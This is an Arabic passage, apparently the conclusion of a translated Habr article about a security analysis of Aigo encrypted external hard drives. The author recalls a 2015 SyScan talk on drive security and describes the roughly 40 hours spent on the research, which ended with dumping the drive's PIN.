ما الذي يمكنك أن توصي به لـ Aigo؟ بعد تحليل نموذجين من محركات الأقراص الصلبة المشفرة، قمت بعملها في عام 2015 عرض على SyScan ، الذي استعرض مشكلات الأمان للعديد من محركات الأقراص الصلبة الخارجية وقدم توصيات حول كيفية تحسينها. 🙂

قضيت عطلات نهاية الأسبوع وعدة أمسيات في هذا البحث. ما مجموعه حوالي 40 ساعة. العد من البداية (عندما فتحت القرص) حتى النهاية (تفريغ الرمز السري). تتضمن نفس الأربعين ساعة الوقت الذي قضيته في كتابة هذا المقال. لقد كانت رحلة مثيرة للغاية.

المصدر: www.habr.com

إضافة تعليق